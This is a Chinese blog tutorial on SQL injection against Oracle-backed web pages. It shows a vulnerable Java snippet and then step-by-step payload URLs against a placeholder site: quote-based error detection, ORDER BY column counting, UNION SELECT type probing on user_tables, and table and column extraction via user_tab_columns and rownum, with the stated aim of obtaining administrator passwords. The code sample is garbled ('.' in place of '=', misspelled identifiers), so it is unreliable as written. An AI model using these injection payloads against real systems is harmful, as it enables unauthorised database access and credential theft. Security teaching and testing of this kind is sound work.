web安全-Oracle数据库注入

Oracle数据库代码分析

在这里插入图片描述
Sql注入形成的主要原因是:由于程序员的安全意识薄弱,在编写代码时没有对用户输入的特殊字符进行处理,导致将特殊字符附带在参数中直接与数据库进行交互。示例代码如下

id . request .getParameter(“id”);
String strSQL . “select title ,content fron news where id=” + id;
ResultSet rs . stnt .executeQuery(strSQL);
while(rs .next())
{
String title . rs.getString(“title”);
String content . rs .getString(“content”);
out .print(“<tr><td>”+ title *”</td></tr><tr><td><br/>” + content + “</td></tr>”);
}

在第二行可以看出,接收的参数id没有经过处理就直接执行,由于对 and,select等关键字没有过滤。所以接下来我们可以使用and,select等构造sql语句来获得管理员账号密码

注入实战

url:http://xxx.com/ID=1010
1.检查注入点以及数据库类型。url后加’
http://xxx.com/ID=1010’

在这里插入图片描述
报错,可推断ID为注入点。ORA-xxxxx这种类型为oracle特有报错方式,所以判断为数据库oracle。
2.判断字段个数。
url后加’ order by number–

在这里插入图片描述
到8能正常显示,故字段数为8.
3.确定每个字段类型。
技巧1:dual表和user_tables表是oracle中的系统表。
技巧2:确定字段类型使用union语句,union操作符用于合并两个或者多个select语句的字符集
(1)union内部的select语句必须拥有相同的列
(2)列也必须拥有相同的数据类型
(3)每条select语句中的列顺序必须相同
null默认匹配所有字段’null’匹配字符类型
‘union select null,null,null,null,null,null,null,null from user_tables–
在这里插入图片描述
对每一位判断是数字型还是字符型,对相判断的那一位改成’null’,若是字符型则界面返回null;否则是数字型
在这里插入图片描述
将所有类型判断出来后,将数字和字符带入,因为不是每一个类型都是数字和字符型,比如说时间类型等。
在这里插入图片描述
综上可以判断出1,2,7,8为数字,3,4,5为字符,第六位为其他类型:
在这里插入图片描述
4.显示union后查询结果
利用and 1=2 union 1,2,’3’,’4’,5 fromuser_tables
1,2,3,4,5位置对印的是之前查询各个字符串的位置,在union语句添加and 1=2使一句正常查询无返回结果,此时1,2,3,4,5会对应显示在现实解密那替换元查询结果,这样一来可以大致确定每一个元素的作用,比如字段1是题目等等。
这里需提到的思想是,表单里的每一个字段都是组成Web页面的元素之一。
5.获取表名。
现在知道了有几个字段,每个字段存储的功能,但是我们仍不知道名字,所以将union后的某一查询数字替换,替换成table_name,可以得到表名。
6.获取表的字段数量
方法是比较判断查询。
在这里插入图片描述
7.查询目标名称-字段名
变换rownum大小获取自短信息,rownum的值是上一步获取到的字段数量。
http://xxx.com/ID=1010’ and 1=2 union select 1,2,column_name,’4’,’5’,null,7,1 from (select * from (select column_name from user_tab_columns where table_name=’表名’ order by 1 asc)where rownum <= 3 order by 1 desc) where rownum<=1–
这样可以得到字段名,再将其带入 http://xxx.com/ID=1010’ and 1=2 union select 1,2,’3’,’4’,’5’,null,7,1 from 数据库 可以得到目标数据。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值